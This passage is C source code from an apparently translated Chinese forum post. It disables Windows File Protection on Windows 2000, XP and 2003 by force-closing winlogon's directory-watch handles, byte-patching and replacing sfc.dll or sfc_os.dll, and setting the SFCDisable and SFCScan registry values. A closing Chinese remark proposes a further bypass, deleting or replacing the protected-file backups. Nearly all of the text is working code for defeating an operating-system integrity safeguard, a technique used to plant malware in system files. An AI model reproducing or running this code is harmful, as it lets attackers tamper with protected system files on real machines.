if (!hNtDll || !hPsApi)
return FALSE;
// ntdll functions
pNtQuerySystemInformation = (NTSTATUS (NTAPI *)(
SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))
GetProcAddress(hNtDll, "NtQuerySystemInformation");
pNtQueryObject = (NTSTATUS (NTAPI *)(HANDLE,
OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))
GetProcAddress(hNtDll, "NtQueryObject");
// psapi functions
pEnumProcesses = (BOOL (WINAPI *)(DWORD *, DWORD, DWORD *))
GetProcAddress(hPsApi, "EnumProcesses");
pEnumProcessModules = (BOOL (WINAPI *)(HANDLE, HMODULE *,
DWORD, LPDWORD)) GetProcAddress(hPsApi, "EnumProcessModules");
pGetModuleFileNameExW = (DWORD (WINAPI *)(HANDLE, HMODULE,
LPWSTR, DWORD)) GetProcAddress(hPsApi, "GetModuleFileNameExW");
if (pNtQuerySystemInformation == NULL ||
pNtQueryObject == NULL ||
pEnumProcesses == NULL ||
pEnumProcessModules == NULL ||
pGetModuleFileNameExW == NULL)
return FALSE;
// winlogon position
GetSystemDirectoryW(WinLogon, MAX_PATH * sizeof (WCHAR));
wcscat(WinLogon, L"\\winlogon.exe");
// set privileges
if (SetPrivileges() == FALSE)
return FALSE;
// search winlogon
dwSize2 = 256 * sizeof(DWORD);
do
{
if (lpdwPIDs)
{
HeapFree(GetProcessHeap(), 0, lpdwPIDs);
dwSize2 *= 2;
}
lpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2);
if (lpdwPIDs == NULL)
return FALSE;
if (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize))
return FALSE;
} while (dwSize == dwSize2);
dwSize /= sizeof(DWORD);
for (dwIndex = 0; dwIndex < dwSize; dwIndex++)
{
Buffer[0] = 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ, FALSE, lpdwPIDs[dwIndex]);
if (hProcess != NULL)
{
if (pEnumProcessModules(hProcess, &hMod,
sizeof(hMod), &dwSize2))
{
if (!pGetModuleFileNameExW(hProcess, hMod,
Buffer, sizeof(Buffer)))
{
CloseHandle(hProcess);
continue;
}
}
else
{
CloseHandle(hProcess);
continue;
}
if (Buffer[0] != 0)
{
GetFileName(Buffer);
if (CompareStringW(0, NORM_IGNORECASE,
Buffer, -1, WinLogon, -1) == CSTR_EQUAL)
{
// winlogon process found
WinLogonId = lpdwPIDs[dwIndex];
CloseHandle(hProcess);
break;
}
dwLIndex++;
}
CloseHandle(hProcess);
}
}
if (lpdwPIDs)
HeapFree(GetProcessHeap(), 0, lpdwPIDs);
hWinLogon = OpenProcess(PROCESS_DUP_HANDLE, 0, WinLogonId);
if (hWinLogon == NULL)
{
return FALSE;
}
nt = pNtQuerySystemInformation(SystemHandleInformation, NULL, 0, &uSize);
while (nt == STATUS_INFO_LENGTH_MISMATCH)
{
uSize += 0x1000;
if (pSystemHandleInfo)
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
pSystemHandleInfo = (PSYSTEMHANDLEINFO) VirtualAlloc(NULL, uSize,
MEM_COMMIT, PAGE_READWRITE);
if (pSystemHandleInfo == NULL)
{
CloseHandle(hWinLogon);
return FALSE;
}
nt = pNtQuerySystemInformation(SystemHandleInformation,
pSystemHandleInfo, uSize, &uBuff);
}
if (nt != STATUS_SUCCESS)
{
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
CloseHandle(hWinLogon);
return FALSE;
}
for (i = 0; i < pSystemHandleInfo->nHandleEntries; i++)
{
if (pSystemHandleInfo->HandleInfo[i].Pid == WinLogonId)
{
if (DuplicateHandle(hWinLogon,
(HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
GetCurrentProcess(), &hCopy, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
nt = pNtQueryObject(hCopy, ObjectNameInformation,
&ObjName, sizeof (ObjName),NULL);
if (nt == STATUS_SUCCESS)
{
wcsupr(ObjName.Buffer);
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32") ||
CompareStringBackwards(ObjName.Buffer, L"WINNT\\SYSTEM32"))
{
// disable wfp on the fly
CloseHandle(hCopy);
DuplicateHandle (hWinLogon,
(HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
GetCurrentProcess(), &hCopy, 0, FALSE,
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);
CloseHandle(hCopy);
}
}
else
{
CloseHandle(hCopy);
}
}
}
}
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
CloseHandle(hWinLogon);
// patch wfp smartly
GetSystemDirectoryW(Buffer, sizeof (WCHAR) * MAX_PATH);
GetSystemDirectoryW(Buffer2, sizeof (WCHAR) * MAX_PATH);
wsprintfW(Buffer2, L"%s\\trash%X", Buffer2, GetTickCount());
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) // win2k
{
wcscat(Buffer, L"\\sfc.dll");
}
else // winxp, win2k3
{
wcscat(Buffer, L"\\sfc_os.dll");
}
hFile = createFileW(Buffer, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
dwFileSize = GetFileSize(hFile, NULL);
pSfc = (BYTE *) VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);
if (!pSfc)
{
CloseHandle(hFile);
return FALSE;
}
if (!ReadFile(hFile, pSfc, dwFileSize, &BRW, NULL))
{
CloseHandle(hFile);
VirtualFree(pSfc, 0, MEM_RELEASE);
return FALSE;
}
CloseHandle(hFile);
ImgDosHeader = (PIMAGE_DOS_HEADER) pSfc;
ImgNtHeaders = (PIMAGE_NT_HEADERS)
(ImgDosHeader->e_lfanew + (ULONG_PTR) pSfc);
ImgSectionHeader = IMAGE_FIRST_SECTION(ImgNtHeaders);
// code section
pCode = (BYTE *) (ImgSectionHeader->PointerToRawData + (ULONG_PTR) pSfc);
// i gotta find the bytes to patch
for (dwCount = 0; dwCount < (ImgSectionHeader->SizeOfRawData - 10); dwCount++)
{
if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
{
bFound = TRUE;
break;
}
}
if (bFound == FALSE)
{
// cannot patch
// maybe w2k without sp1
goto no_need_to_patch;
}
// patch
pCode[dwCount] = pCode[dwCount + 1] = 0x90;
// move dll to another place
MoveFileW(Buffer, Buffer2);
// create new dll
hFile = createFileW(Buffer, GENERIC_WRITE, FILE_SHARE_READ,
NULL, create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// cannot patch
VirtualFree(pSfc, 0, MEM_RELEASE);
return FALSE;
}
WriteFile(hFile, pSfc, dwFileSize, &BRW, NULL);
CloseHandle(hFile);
no_need_to_patch:
VirtualFree(pSfc, 0, MEM_RELEASE);
// modify the registry
Ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0, KEY_SET_VALUE, &Key);
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
BRW = 0xFFFFFF9D;
Ret = RegSetValueExW(Key, L"SFCDisable", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
BRW = 0;
Ret = RegSetValueExW(Key, L"SFCScan", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
RegCloseKey(Key);
return TRUE;
}
void main()
{
if (FuckWFPInTheAss() == TRUE)
{
// ok
}
else
{
// wrong
}
}
// ---------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------看完以后其实回想到了另一种方法,急得没错的话,WFP会用备份替换修改过的被保护文件,那么删除了备份或者替换了备份不就可以了吗?对了还有顺便说一句,大家看到翻译的哪里有错最好贴出来,要不我就成罪人了。呵呵。